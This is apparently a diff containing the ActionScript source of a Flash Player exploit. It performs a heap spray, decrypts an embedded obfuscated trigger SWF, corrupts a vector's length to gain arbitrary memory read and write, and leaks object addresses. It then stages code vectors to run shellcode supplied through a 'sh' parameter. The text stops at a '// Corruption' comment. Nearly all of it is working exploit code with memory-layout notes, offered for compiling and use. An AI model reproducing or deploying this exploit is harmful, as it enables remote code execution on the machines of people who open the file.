private function CreateVectorThirtyTwoObjects():Vector.<Object>
|
||||||
|
{
|
||||||
|
var vector:* = new Vector.<Object>(32);
|
||||||
|
vector[0] = null;
|
||||||
|
vector[1] = null;
|
||||||
|
vector[2] = this.sound_object;
|
||||||
|
vector[3] = this.byte_array;
|
||||||
|
return (vector);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function CreateVectorSixteenNumbers():Vector.<Number>
|
||||||
|
{
|
||||||
|
var vector:* = new Vector.<Number>(16);
|
||||||
|
vector[0] = 0;
|
||||||
|
vector[15] = 1;
|
||||||
|
return (vector);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,897 @@
|
||||||
|
//Compile: mxmlc.exe Exploit.as -o Exploit.swf
|
||||||
|
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite;
|
||||||
|
import flash.utils.ByteArray;
|
||||||
|
import flash.net.LocalConnection;
|
||||||
|
import flash.utils.Endian;
|
||||||
|
import flash.net.FileReference;
|
||||||
|
import __AS3__.vec.Vector;
|
||||||
|
import flash.system.Capabilities;
|
||||||
|
import flash.display.Loader;
|
||||||
|
import flash.utils.setTimeout;
|
||||||
|
|
||||||
|
import flash.display.LoaderInfo;
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
var number_massage_vectors:uint = 0x18000;
|
||||||
|
var len_massage_vector:uint = 0x36;
|
||||||
|
var maxElementsPerPage:uint = 0xe00012;
|
||||||
|
var massage_array:Array;
|
||||||
|
var tweaked_vector;
|
||||||
|
var tweaked_vector_address;
|
||||||
|
var done:Boolean = false;
|
||||||
|
var receiver:LocalConnection;
|
||||||
|
// Embedded trigger, ActionScript source available at the end of this file as code comment.
|
||||||
|
var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134";
|
||||||
|
var key:uint = 3.627461843E9;
|
||||||
|
var shellcodeObj:Array;
|
||||||
|
|
||||||
|
public function Exploit() {
|
||||||
|
var trigger_decrypted:uint = 0;
|
||||||
|
super();
|
||||||
|
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
|
||||||
|
var i:* = 0;
|
||||||
|
this.massage_array = new Array();
|
||||||
|
|
||||||
|
// Memory massage
|
||||||
|
i = 0;
|
||||||
|
while(i < this.number_massage_vectors)
|
||||||
|
{
|
||||||
|
this.massage_array[i] = new Vector.<int>(1);
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
i = 0;
|
||||||
|
while(i < this.number_massage_vectors)
|
||||||
|
{
|
||||||
|
this.massage_array[i] = new Vector.<int>(this.len_massage_vector);
|
||||||
|
this.massage_array[i][0] = 0x41414141;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
var j:* = 0;
|
||||||
|
i = 0;
|
||||||
|
while(i < this.number_massage_vectors)
|
||||||
|
{
|
||||||
|
j = 0;
|
||||||
|
while(j < 32)
|
||||||
|
{
|
||||||
|
this.massage_array[i][j] = 0x41414141;
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8);
|
||||||
|
i = 65536 + 6;
|
||||||
|
while(i < this.number_massage_vectors)
|
||||||
|
{
|
||||||
|
this.massage_array[i] = new Vector.<int>(this.len_massage_vector * 2);
|
||||||
|
this.massage_array[i][0] = 0x42424242;
|
||||||
|
i = i + k;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decompress/Decrypt trigger
|
||||||
|
this.receiver = new LocalConnection();
|
||||||
|
this.receiver.connect("toAS3");
|
||||||
|
this.receiver.client = this;
|
||||||
|
var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf);
|
||||||
|
trigger_byte_array.endian = Endian.LITTLE_ENDIAN;
|
||||||
|
trigger_byte_array.uncompress();
|
||||||
|
trigger_byte_array.position = 0;
|
||||||
|
i = 0;
|
||||||
|
while(i < trigger_byte_array.length / 4)
|
||||||
|
{
|
||||||
|
trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key;
|
||||||
|
trigger_byte_array.position = trigger_byte_array.position - 4;
|
||||||
|
trigger_byte_array.writeUnsignedInt(trigger_decrypted);
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
trigger_byte_array.position = 0;
|
||||||
|
|
||||||
|
// Trigger corruption
|
||||||
|
var trigger_loader:Loader = new Loader();
|
||||||
|
trigger_loader.loadBytes(trigger_byte_array);
|
||||||
|
|
||||||
|
// Handler to check for corruption
|
||||||
|
setTimeout(this.as2loaded,4000,[]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function createByteArray(hex_string:String) : ByteArray {
|
||||||
|
var byte:String = null;
|
||||||
|
var byte_array:ByteArray = new ByteArray();
|
||||||
|
var hex_string_length:uint = hex_string.length;
|
||||||
|
var i:uint = 0;
|
||||||
|
while(i < hex_string_length)
|
||||||
|
{
|
||||||
|
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
|
||||||
|
byte_array.writeByte(parseInt(byte,16));
|
||||||
|
i = i + 2;
|
||||||
|
}
|
||||||
|
return byte_array;
|
||||||
|
}
|
||||||
|
|
||||||
|
// When param1.length > 0 it's called from the corruption trigger
|
||||||
|
// Else it's called because of the timeout trigger
|
||||||
|
public function as2loaded(param1:Array) : * {
|
||||||
|
var back_offset:* = undefined; // backward offset from the tweaked vector
|
||||||
|
var j:* = undefined;
|
||||||
|
var _loc15_:uint = 0;
|
||||||
|
var ninbets:Array = null;
|
||||||
|
var array_with_code:Array = null;
|
||||||
|
var address_code:uint = 0;
|
||||||
|
var _loc19_:uint = 0;
|
||||||
|
if(this.done == true)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if(param1.length > 0)
|
||||||
|
{
|
||||||
|
this.done = true;
|
||||||
|
}
|
||||||
|
var corrupted_index:uint = 0;
|
||||||
|
var i:* = 0;
|
||||||
|
i = 0x10000 + 6;
|
||||||
|
|
||||||
|
// Search corrupted vector
|
||||||
|
while(i < this.number_massage_vectors)
|
||||||
|
{
|
||||||
|
if(this.massage_array[i].length != 2 * this.len_massage_vector)
|
||||||
|
{
|
||||||
|
if(this.massage_array[i].length != this.len_massage_vector)
|
||||||
|
{
|
||||||
|
corrupted_index = i;
|
||||||
|
this.massage_array[i][0] = 0x41424344;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// throw Error if any vector has been corrupted
|
||||||
|
if(i == this.number_massage_vectors)
|
||||||
|
{
|
||||||
|
throw new Error("not found");
|
||||||
|
}
|
||||||
|
else // start the magic...
|
||||||
|
{
|
||||||
|
// Tweak the length for the vector next to the corrupted one
|
||||||
|
this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001;
|
||||||
|
// Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory
|
||||||
|
this.tweaked_vector = this.massage_array[corrupted_index + 1];
|
||||||
|
var offset_length = 0;
|
||||||
|
// Ensure tweaked vector length corruption, I guess the offset to the vector length
|
||||||
|
// changes between flash versions
|
||||||
|
if(this.tweaked_vector.length != 0x40000001)
|
||||||
|
{
|
||||||
|
this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001;
|
||||||
|
offset_length = 10;
|
||||||
|
}
|
||||||
|
if(param1.length > 0) // From the corruption trigger
|
||||||
|
{
|
||||||
|
// Fix the massage array of vectors, restores the corrupted vector and
|
||||||
|
// marks it as the last one.
|
||||||
|
back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87
|
||||||
|
j = 0;
|
||||||
|
/*
|
||||||
|
tweaked_vector->prior->prior, some data is overwritten, is used for search purposes
|
||||||
|
tweaked_vector[3fffffa7] = 0
|
||||||
|
tweaked_vector[3fffffa8] = 0
|
||||||
|
tweaked_vector[3fffffa9] = 1c0340
|
||||||
|
tweaked_vector[3fffffaa] = ffffffff
|
||||||
|
tweaked_vector[3fffffab] = 0
|
||||||
|
tweaked_vector[3fffffac] = 0
|
||||||
|
tweaked_vector[3fffffad] = 0
|
||||||
|
tweaked_vector[3fffffae] = 0
|
||||||
|
tweaked_vector[3fffffaf] = 0
|
||||||
|
tweaked_vector[3fffffb0] = 0
|
||||||
|
tweaked_vector[3fffffb1] = 0
|
||||||
|
tweaked_vector[3fffffb2] = 100
|
||||||
|
tweaked_vector[3fffffb3] = 0
|
||||||
|
tweaked_vector[3fffffb4] = 0
|
||||||
|
tweaked_vector[3fffffb5] = 0
|
||||||
|
tweaked_vector[3fffffb6] = 0
|
||||||
|
tweaked_vector[3fffffb7] = 100dddce
|
||||||
|
tweaked_vector[3fffffb8] = 0
|
||||||
|
tweaked_vector[3fffffb9] = 1df6000
|
||||||
|
tweaked_vector[3fffffba] = 1dc2380
|
||||||
|
tweaked_vector[3fffffbb] = 0
|
||||||
|
tweaked_vector[3fffffbc] = 10000
|
||||||
|
tweaked_vector[3fffffbd] = 70
|
||||||
|
tweaked_vector[3fffffbe] = 0
|
||||||
|
tweaked_vector[3fffffbf] = 4
|
||||||
|
tweaked_vector[3fffffc0] = 0
|
||||||
|
tweaked_vector[3fffffc1] = 1de7090
|
||||||
|
tweaked_vector[3fffffc2] = 4
|
||||||
|
tweaked_vector[3fffffc3] = 0
|
||||||
|
tweaked_vector[3fffffc4] = 0
|
||||||
|
tweaked_vector[3fffffc5] = 0
|
||||||
|
// tweaked_vector->prior
|
||||||
|
tweaked_vector[3fffffc6] = 36 // Length
|
||||||
|
tweaked_vector[3fffffc7] = 1dea000
|
||||||
|
tweaked_vector[3fffffc8] = 41414141
|
||||||
|
tweaked_vector[3fffffc9] = 41414141
|
||||||
|
tweaked_vector[3fffffca] = 41414141
|
||||||
|
tweaked_vector[3fffffcb] = 41414141
|
||||||
|
tweaked_vector[3fffffcc] = 41414141
|
||||||
|
tweaked_vector[3fffffcd] = 41414141
|
||||||
|
tweaked_vector[3fffffce] = 41414141
|
||||||
|
tweaked_vector[3fffffcf] = 41414141
|
||||||
|
tweaked_vector[3fffffd0] = 41414141
|
||||||
|
tweaked_vector[3fffffd1] = 41414141
|
||||||
|
tweaked_vector[3fffffd2] = 41414141
|
||||||
|
tweaked_vector[3fffffd3] = 41414141
|
||||||
|
tweaked_vector[3fffffd4] = 41414141
|
||||||
|
tweaked_vector[3fffffd5] = 41414141
|
||||||
|
tweaked_vector[3fffffd6] = 41414141
|
||||||
|
tweaked_vector[3fffffd7] = 41414141
|
||||||
|
tweaked_vector[3fffffd8] = 41414141
|
||||||
|
tweaked_vector[3fffffd9] = 41414141
|
||||||
|
tweaked_vector[3fffffda] = 41414141
|
||||||
|
tweaked_vector[3fffffdb] = 41414141
|
||||||
|
tweaked_vector[3fffffdc] = 41414141
|
||||||
|
tweaked_vector[3fffffdd] = 41414141
|
||||||
|
tweaked_vector[3fffffde] = 41414141
|
||||||
|
tweaked_vector[3fffffdf] = 41414141
|
||||||
|
tweaked_vector[3fffffe0] = 41414141
|
||||||
|
tweaked_vector[3fffffe1] = 41414141
|
||||||
|
tweaked_vector[3fffffe2] = 41414141
|
||||||
|
tweaked_vector[3fffffe3] = 41414141
|
||||||
|
tweaked_vector[3fffffe4] = 41414141
|
||||||
|
tweaked_vector[3fffffe5] = 41414141
|
||||||
|
tweaked_vector[3fffffe6] = 41414141
|
||||||
|
tweaked_vector[3fffffe7] = 41414141
|
||||||
|
tweaked_vector[3fffffe8] = 0
|
||||||
|
tweaked_vector[3fffffe9] = 0
|
||||||
|
tweaked_vector[3fffffea] = 0
|
||||||
|
tweaked_vector[3fffffeb] = 0
|
||||||
|
tweaked_vector[3fffffec] = 0
|
||||||
|
tweaked_vector[3fffffed] = 0
|
||||||
|
tweaked_vector[3fffffee] = 0
|
||||||
|
tweaked_vector[3fffffef] = 0
|
||||||
|
tweaked_vector[3ffffff0] = 0
|
||||||
|
tweaked_vector[3ffffff1] = 0
|
||||||
|
tweaked_vector[3ffffff2] = 0
|
||||||
|
tweaked_vector[3ffffff3] = 0
|
||||||
|
tweaked_vector[3ffffff4] = 0
|
||||||
|
tweaked_vector[3ffffff5] = 0
|
||||||
|
tweaked_vector[3ffffff6] = 0
|
||||||
|
tweaked_vector[3ffffff7] = 0
|
||||||
|
tweaked_vector[3ffffff8] = 0
|
||||||
|
tweaked_vector[3ffffff9] = 0
|
||||||
|
tweaked_vector[3ffffffa] = 0
|
||||||
|
tweaked_vector[3ffffffb] = 0
|
||||||
|
tweaked_vector[3ffffffc] = 0
|
||||||
|
tweaked_vector[3ffffffd] = 0
|
||||||
|
*/
|
||||||
|
while(j < back_offset)
|
||||||
|
{
|
||||||
|
this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j];
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
// tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata
|
||||||
|
this.tweaked_vector[0x40000000-1] = param1[back_offset + 1];
|
||||||
|
|
||||||
|
|
||||||
|
j = back_offset + 2;
|
||||||
|
|
||||||
|
// Modifies the tweaked vector content, and overflow the next ones, they just remain in good state:
|
||||||
|
/*
|
||||||
|
// tweaked vector content
|
||||||
|
tweaked_vector[0] = 41414141
|
||||||
|
tweaked_vector[1] = 41414141
|
||||||
|
tweaked_vector[2] = 41414141
|
||||||
|
tweaked_vector[3] = 41414141
|
||||||
|
tweaked_vector[4] = 41414141
|
||||||
|
tweaked_vector[5] = 41414141
|
||||||
|
tweaked_vector[6] = 41414141
|
||||||
|
tweaked_vector[7] = 41414141
|
||||||
|
tweaked_vector[8] = 41414141
|
||||||
|
tweaked_vector[9] = 41414141
|
||||||
|
tweaked_vector[a] = 41414141
|
||||||
|
tweaked_vector[b] = 41414141
|
||||||
|
tweaked_vector[c] = 41414141
|
||||||
|
tweaked_vector[d] = 41414141
|
||||||
|
tweaked_vector[e] = 41414141
|
||||||
|
tweaked_vector[f] = 41414141
|
||||||
|
tweaked_vector[10] = 41414141
|
||||||
|
tweaked_vector[11] = 41414141
|
||||||
|
tweaked_vector[12] = 41414141
|
||||||
|
tweaked_vector[13] = 41414141
|
||||||
|
tweaked_vector[14] = 41414141
|
||||||
|
tweaked_vector[15] = 41414141
|
||||||
|
tweaked_vector[16] = 41414141
|
||||||
|
tweaked_vector[17] = 41414141
|
||||||
|
tweaked_vector[18] = 41414141
|
||||||
|
tweaked_vector[19] = 41414141
|
||||||
|
tweaked_vector[1a] = 41414141
|
||||||
|
tweaked_vector[1b] = 41414141
|
||||||
|
tweaked_vector[1c] = 41414141
|
||||||
|
tweaked_vector[1d] = 41414141
|
||||||
|
tweaked_vector[1e] = 41414141
|
||||||
|
tweaked_vector[1f] = 41414141
|
||||||
|
tweaked_vector[20] = 0
|
||||||
|
tweaked_vector[21] = 0
|
||||||
|
tweaked_vector[22] = 0
|
||||||
|
tweaked_vector[23] = 0
|
||||||
|
tweaked_vector[24] = 0
|
||||||
|
tweaked_vector[25] = 0
|
||||||
|
tweaked_vector[26] = 0
|
||||||
|
tweaked_vector[27] = 0
|
||||||
|
tweaked_vector[28] = 0
|
||||||
|
tweaked_vector[29] = 0
|
||||||
|
tweaked_vector[2a] = 0
|
||||||
|
tweaked_vector[2b] = 0
|
||||||
|
tweaked_vector[2c] = 0
|
||||||
|
tweaked_vector[2d] = 0
|
||||||
|
tweaked_vector[2e] = 0
|
||||||
|
tweaked_vector[2f] = 0
|
||||||
|
tweaked_vector[30] = 0
|
||||||
|
tweaked_vector[31] = 0
|
||||||
|
tweaked_vector[32] = 0
|
||||||
|
tweaked_vector[33] = 0
|
||||||
|
tweaked_vector[34] = 0
|
||||||
|
tweaked_vector[35] = 0
|
||||||
|
// next to the tweaked vector
|
||||||
|
tweaked_vector[36] = 36
|
||||||
|
tweaked_vector[37] = 1dea000
|
||||||
|
tweaked_vector[38] = 41414141
|
||||||
|
tweaked_vector[39] = 41414141
|
||||||
|
tweaked_vector[3a] = 41414141
|
||||||
|
tweaked_vector[3b] = 41414141
|
||||||
|
tweaked_vector[3c] = 41414141
|
||||||
|
tweaked_vector[3d] = 41414141
|
||||||
|
tweaked_vector[3e] = 41414141
|
||||||
|
tweaked_vector[3f] = 41414141
|
||||||
|
tweaked_vector[40] = 41414141
|
||||||
|
tweaked_vector[41] = 41414141
|
||||||
|
tweaked_vector[42] = 41414141
|
||||||
|
tweaked_vector[43] = 41414141
|
||||||
|
tweaked_vector[44] = 41414141
|
||||||
|
tweaked_vector[45] = 41414141
|
||||||
|
tweaked_vector[46] = 41414141
|
||||||
|
tweaked_vector[47] = 41414141
|
||||||
|
tweaked_vector[48] = 41414141
|
||||||
|
tweaked_vector[49] = 41414141
|
||||||
|
tweaked_vector[4a] = 41414141
|
||||||
|
tweaked_vector[4b] = 41414141
|
||||||
|
tweaked_vector[4c] = 41414141
|
||||||
|
tweaked_vector[4d] = 41414141
|
||||||
|
tweaked_vector[4e] = 41414141
|
||||||
|
tweaked_vector[4f] = 41414141
|
||||||
|
tweaked_vector[50] = 41414141
|
||||||
|
tweaked_vector[51] = 41414141
|
||||||
|
tweaked_vector[52] = 41414141
|
||||||
|
tweaked_vector[53] = 41414141
|
||||||
|
tweaked_vector[54] = 41414141
|
||||||
|
tweaked_vector[55] = 41414141
|
||||||
|
tweaked_vector[56] = 41414141
|
||||||
|
tweaked_vector[57] = 41414141
|
||||||
|
tweaked_vector[58] = 0
|
||||||
|
tweaked_vector[59] = 0
|
||||||
|
tweaked_vector[5a] = 0
|
||||||
|
tweaked_vector[5b] = 0
|
||||||
|
tweaked_vector[5c] = 0
|
||||||
|
tweaked_vector[5d] = 0
|
||||||
|
tweaked_vector[5e] = 0
|
||||||
|
tweaked_vector[5f] = 0
|
||||||
|
tweaked_vector[60] = 0
|
||||||
|
tweaked_vector[61] = 0
|
||||||
|
tweaked_vector[62] = 0
|
||||||
|
tweaked_vector[63] = 0
|
||||||
|
tweaked_vector[64] = 0
|
||||||
|
tweaked_vector[65] = 0
|
||||||
|
tweaked_vector[66] = 0
|
||||||
|
tweaked_vector[67] = 0
|
||||||
|
tweaked_vector[68] = 0
|
||||||
|
tweaked_vector[69] = 0
|
||||||
|
tweaked_vector[6a] = 0
|
||||||
|
tweaked_vector[6b] = 0
|
||||||
|
tweaked_vector[6c] = 0
|
||||||
|
tweaked_vector[6d] = 0
|
||||||
|
// next -> next to the tweaked vector
|
||||||
|
tweaked_vector[6e] = 36
|
||||||
|
tweaked_vector[6f] = 1dea000
|
||||||
|
tweaked_vector[70] = 41414141
|
||||||
|
tweaked_vector[71] = 41414141
|
||||||
|
tweaked_vector[72] = 41414141
|
||||||
|
tweaked_vector[73] = 41414141
|
||||||
|
tweaked_vector[74] = 41414141
|
||||||
|
tweaked_vector[75] = 41414141
|
||||||
|
tweaked_vector[76] = 41414141
|
||||||
|
tweaked_vector[77] = 41414141
|
||||||
|
tweaked_vector[78] = 41414141
|
||||||
|
tweaked_vector[79] = 41414141
|
||||||
|
tweaked_vector[7a] = 41414141
|
||||||
|
tweaked_vector[7b] = 41414141
|
||||||
|
tweaked_vector[7c] = 41414141
|
||||||
|
tweaked_vector[7d] = 41414141
|
||||||
|
tweaked_vector[7e] = 41414141
|
||||||
|
tweaked_vector[7f] = 41414141
|
||||||
|
tweaked_vector[80] = 41414141
|
||||||
|
tweaked_vector[81] = 41414141
|
||||||
|
tweaked_vector[82] = 41414141
|
||||||
|
tweaked_vector[83] = 41414141
|
||||||
|
tweaked_vector[84] = 41414141
|
||||||
|
tweaked_vector[85] = 41414141
|
||||||
|
tweaked_vector[86] = 41414141
|
||||||
|
tweaked_vector[87] = 41414141
|
||||||
|
tweaked_vector[88] = 41414141
|
||||||
|
tweaked_vector[89] = 41414141
|
||||||
|
tweaked_vector[8a] = 41414141
|
||||||
|
tweaked_vector[8b] = 41414141
|
||||||
|
tweaked_vector[8c] = 41414141
|
||||||
|
tweaked_vector[8d] = 41414141
|
||||||
|
tweaked_vector[8e] = 41414141
|
||||||
|
tweaked_vector[8f] = 41414141
|
||||||
|
tweaked_vector[90] = 0
|
||||||
|
tweaked_vector[91] = 0
|
||||||
|
tweaked_vector[92] = 0
|
||||||
|
tweaked_vector[93] = 0
|
||||||
|
tweaked_vector[94] = 0
|
||||||
|
tweaked_vector[95] = 0
|
||||||
|
tweaked_vector[96] = 0
|
||||||
|
tweaked_vector[97] = 0
|
||||||
|
tweaked_vector[98] = 0
|
||||||
|
tweaked_vector[99] = 0
|
||||||
|
tweaked_vector[9a] = 0
|
||||||
|
tweaked_vector[9b] = 0
|
||||||
|
tweaked_vector[9c] = 0
|
||||||
|
tweaked_vector[9d] = 0
|
||||||
|
tweaked_vector[9e] = 0
|
||||||
|
tweaked_vector[9f] = 0
|
||||||
|
tweaked_vector[a0] = 0
|
||||||
|
tweaked_vector[a1] = 0
|
||||||
|
tweaked_vector[a2] = 0
|
||||||
|
tweaked_vector[a3] = 0
|
||||||
|
tweaked_vector[a4] = 0
|
||||||
|
tweaked_vector[a5] = 0
|
||||||
|
*/
|
||||||
|
while(j < param1.length)
|
||||||
|
{
|
||||||
|
this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j];
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
// next -> next to the tweaked vector
|
||||||
|
// tweaked_vector[a6] = 36
|
||||||
|
// tweaked_vector[a7] = 1dea000
|
||||||
|
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36
|
||||||
|
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000
|
||||||
|
}
|
||||||
|
else // From the Timeout trigger; never reached on my tests.
|
||||||
|
{
|
||||||
|
_loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1];
|
||||||
|
this.tweaked_vector[0x3fffffff] = _loc15_;
|
||||||
|
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_;
|
||||||
|
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector;
|
||||||
|
this.tweaked_vector[this.len_massage_vector + 1] = _loc15_;
|
||||||
|
this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_;
|
||||||
|
this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_;
|
||||||
|
this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector;
|
||||||
|
this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
|
||||||
|
this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.massage_array[corrupted_index].length = 256; // :?
|
||||||
|
|
||||||
|
// Search backwards to find the massage array metadata
|
||||||
|
// It's used to disclose the tweaked vector address
|
||||||
|
i = 0;
|
||||||
|
var hint = 0;
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
hint = this.tweaked_vector[0x40000000 - i];
|
||||||
|
if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.tweaked_vector_address = 0;
|
||||||
|
if(this.tweaked_vector[0x40000000 - i - 4] == 0)
|
||||||
|
{
|
||||||
|
throw new Error("error");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length;
|
||||||
|
|
||||||
|
// I have not been able to understand this tweak,
|
||||||
|
// Maybe not necessary at all...
|
||||||
|
i = 0;
|
||||||
|
hint = 0;
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
hint = this.tweaked_vector[0x40000000 - i];
|
||||||
|
if(hint == 0x7e3f0004)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff
|
||||||
|
// End of maybe not necessary tweak
|
||||||
|
|
||||||
|
var file_ref_array = new Array();
|
||||||
|
i = 0;
|
||||||
|
while(i < 64)
|
||||||
|
{
|
||||||
|
file_ref_array[i] = new FileReference();
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address);
|
||||||
|
var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32);
|
||||||
|
|
||||||
|
// Get array related data, important to trigger the desired corruption to achieve command execution
|
||||||
|
ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address);
|
||||||
|
array_with_code = this.createCodeVectors(0x45454545, 0x90909090);
|
||||||
|
address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545);
|
||||||
|
this.fillCodeVectors(array_with_code, address_code);
|
||||||
|
this.tweaked_vector[7] = ninbets[0] + 0;
|
||||||
|
this.tweaked_vector[4] = ninbets[1];
|
||||||
|
this.tweaked_vector[0] = 4096;
|
||||||
|
this.tweaked_vector[1] = address_code & 0xfffff000;
|
||||||
|
// Corruption
|
||||||
|
